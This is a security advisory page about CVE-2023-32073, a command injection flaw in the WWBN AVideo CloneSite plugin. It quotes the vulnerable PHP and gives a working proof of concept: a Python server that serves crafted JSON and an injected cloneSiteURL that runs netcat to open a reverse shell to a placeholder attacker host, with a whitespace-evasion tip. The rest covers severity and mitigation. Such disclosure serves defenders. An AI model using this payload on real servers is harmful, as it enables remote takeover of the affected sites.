CVE-2023-32073

WWBN AVideo Authenticated RCE

A command injection vulnerability exists at plugin/CloneSite/cloneClient.json.php which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for CVE-2023-30854 which affects WWBN Avideo up to version 12.3

Vulnerable Code

/plugin/CloneSite/cloneClient.json.php

$json->sqlFile = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->sqlFile));
$json->videoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->videoFiles));
$json->photoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->photoFiles));

// get dump file
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);

The $objClone->cloneSiteURL is not properly sanitized.

Exploit Proof-of-Concept

avidexploit.py

from http.server import BaseHTTPRequestHandler, HTTPServer
import time

hostName = "localhost"
serverPort = 8080

class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "application/json")
        self.end_headers()
        self.wfile.write(bytes("{\"error\":false,\"msg\":\"\",\"url\":\"https:\/\/attacker.com/\/\",\"key\":\"2d6db3c09e41a9c27dbc72aecc4a6fc0\",\"useRsync\":1,\"videosDir\":\"\/var\/www\/html\/demo.avideo.com\/videos\/\",\"sqlFile\":\"Clone_mysqlDump_644ab263e62d6.sql\",\"videoFiles\":[],\"photoFiles\":[]}", "utf-8"))

if __name__ == "__main__":        
    webServer = HTTPServer((hostName, serverPort), MyServer)
    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("Server stopped.")

Run in command line

$ python3 avidexploit.py &
$ ngrok tcp 8080 # optional if not running in VPS

• Then get your public facing IP and Port. Enter a cloneSiteURL like the following then hit clone to achieve command injection

http://2.tcp.ngrok.io:14599/;nc$IFS'ATTACKER.COM'$IFS'5555'$IFS-e$IFS/bin/sh;#

It is important to not use white spaces for the exploit to work. Replace whitespace with $IFS when adding arguments to your RCE

Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.

CVE-2023-32073 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2023-32073? CVE-2023-32073 is a high-severity command injection vulnerability in wwbn/avideo (composer), affecting versions <= 12.4. No fixed version is listed yet. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
2. How severe is CVE-2023-32073? CVE-2023-32073 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wwbn/avideo are affected by CVE-2023-32073? wwbn/avideo (composer) versions <= 12.4 is affected.
4. Is there a fix for CVE-2023-32073? No fixed version is listed for CVE-2023-32073 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2023-32073 exploitable, and should I be worried? Whether CVE-2023-32073 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

6. What actually determines whether CVE-2023-32073 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2023-32073? No fixed version is listed yet. In the interim: Avoid constructing commands from untrusted input. Use parameterized APIs that separate the command from its arguments.
